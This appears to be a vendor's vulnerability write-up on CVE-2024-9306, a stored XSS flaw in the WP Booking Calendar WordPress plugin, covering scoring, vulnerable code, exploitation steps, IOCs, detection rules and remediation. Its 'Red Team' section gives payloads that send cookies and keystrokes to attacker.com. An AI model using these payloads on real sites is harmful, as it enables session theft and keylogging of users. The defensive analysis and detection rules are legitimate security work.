CVE-2024-9306
Executive Summary
CVE-2024-9306 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Booking Calendar plugin for WordPress, affecting all versions up to and including 10.6. The flaw arises from insufficient input sanitization and output escaping in the plugin’s admin settings. An authenticated attacker with administrator-level permissions (or lower-level users granted plugin settings access) can inject arbitrary web scripts that execute whenever a user visits an affected page. The vulnerability is exploitable only on multi-site installations or where unfiltered_html has been disabled. With a CVSS score of 4.4 (Medium), the risk is elevated in shared hosting or multi-tenant WordPress environments.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in the WordPress plugin ecosystem. The WP Booking Calendar plugin is distributed via the official WordPress Plugin Directory. No known supply chain compromise (e.g., malicious commits or backdoored packages) has been reported. However, the lack of a patch increases the risk of exploitation in unmaintained installations.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
- Base Score: 4.4 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: High (PR:H) – requires admin-level access
- User Interaction: Required (UI:R) – victim must visit the injected page
- Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: Low (A:L)
Threat Level: Medium. Exploitation requires authenticated admin access, but in multi-site environments or where lower-level users can manage plugin settings, the attack surface expands. The stored XSS can lead to session hijacking, defacement, or phishing.
Deep Dive & Mechanics
The vulnerability exists in the admin settings panel of the WP Booking Calendar plugin. The plugin fails to properly sanitize user-supplied input and escape output when rendering settings fields. An attacker with administrative privileges can inject malicious JavaScript into fields such as custom messages, labels, or other text-based settings. This injected script is stored in the WordPress database and executed when any user (including other admins) accesses the affected settings page.
Key Conditions:
- Multi-site installations: The vulnerability is exploitable because
unfiltered_htmlis typically disabled for non-super admins. - Single-site with
unfiltered_htmldisabled: If a site administrator has disabledunfiltered_htmlfor security reasons, the vulnerability becomes exploitable. - Lower-level user access: If the site administrator grants plugin settings access to editors or authors, those users can also exploit the flaw.
Attack Flow:
- Attacker logs in with admin-level privileges (or lower-level user with plugin settings access).
- Attacker navigates to the WP Booking Calendar settings page.
- Attacker injects a malicious script (e.g.,
<script>alert('XSS')</script>) into a vulnerable input field. - The script is stored in the database.
- When another user (admin or visitor) loads the settings page, the script executes in their browser.
Vulnerable vs. Patched Code
Vulnerable Code (<= 10.6):
The plugin likely uses echo or print to output user-supplied values without proper escaping. For example:
// Vulnerable: no escaping
echo "<input type='text' name='custom_message' value='" . $option_value . "' />";
Patched Code (Hypothetical):
A patch would escape the output using WordPress functions like esc_attr() or esc_html():
// Patched: proper escaping
echo "<input type='text' name='custom_message' value='" . esc_attr( $option_value ) . "' />";
Note: No official patch has been released as of this analysis.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress installation with WP Booking Calendar <= 10.6
- Admin-level credentials (or user with plugin settings access)
- Multi-site or
unfiltered_htmldisabled
Steps:
- Log in to WordPress admin panel.
- Navigate to Booking Calendar > Settings.
- Locate a text input field (e.g., "Custom Confirmation Message").
- Inject the following payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Save the settings.
- Wait for an admin or user to visit the settings page. The script will execute, exfiltrating cookies.
Alternative Payload (Keylogger):
<script>
document.addEventListener('keydown', function(e) {
fetch('https://attacker.com/keylog?key='+e.key);
});
</script>
Blue Team (Detection & Hardening)
Detection:
- Monitor admin settings changes for suspicious input patterns (e.g.,
<script>tags). - Use Web Application Firewall (WAF) rules to block XSS payloads in POST requests to
/wp-admin/admin.php?page=wp-booking-calendar-settings.
Hardening:
- Disable the plugin if not essential.
- Restrict plugin settings access to only super admins.
- Enable
unfiltered_htmlonly for trusted users (though this may introduce other risks). - Apply input validation and output escaping via a custom plugin or code snippet.
Indicators of Compromise (IOCs)
File-based IOCs:
- Modified plugin files:
/wp-content/plugins/wp-booking-calendar/(check for unexpected changes) - Suspicious entries in
wp_optionstable (e.g.,wp_booking_calendar_settingscontaining<script>tags)
- Modified plugin files:
Network IOCs:
- Outbound requests to unknown domains from the WordPress admin panel.
- POST requests to
/wp-admin/admin.php?page=wp-booking-calendar-settingswith XSS payloads.
Log-based IOCs:
- WordPress debug log entries showing
wp_redirectorwp_diecalls related to settings. - Web server access logs with
admin.php?page=wp-booking-calendar-settingsand suspicious query strings.
- WordPress debug log entries showing
Detection Engineering
YARA Rule
rule CVE_2024_9306_WP_Booking_Calendar_XSS {
meta:
description = "Detects stored XSS payloads in WP Booking Calendar settings"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-9306"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$wp_option = /wp_booking_calendar_settings/
condition:
$wp_option and $xss_payload
}
Sigma Rule
title: Stored XSS in WP Booking Calendar Settings
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via WP Booking Calendar admin settings
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'admin.php?page=wp-booking-calendar-settings'
cs-uri-query|re: '(<script|<img|<svg|onerror|onload)'
condition: selection
falsepositives:
- Legitimate admin updates with HTML content
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-9306 WP Booking Calendar Stored XSS"; flow:to_server,established; content:"POST"; http_method; content:"admin.php?page=wp-booking-calendar-settings"; http_uri; pcre:"/(<script|<img|<svg|onerror|onload)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin if not critical to business operations.
- Restrict admin access to only trusted users.
- Disable unfiltered_html for all non-super-admin users (if not already).
- Implement a Web Application Firewall (WAF) rule to block XSS payloads in plugin settings.
Long-term Fix:
- Monitor the plugin vendor for an official patch. If none is released, consider migrating to an alternative booking plugin.
- Apply output escaping in the plugin code manually (if you have development resources):
// In vulnerable files, replace: echo $value; // With: echo esc_html( $value );
Workaround:
- Use a security plugin (e.g., Wordfence) to block XSS attempts in admin pages.
Valters IT
DevSecOps & Cyber Threat Intelligence Division
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.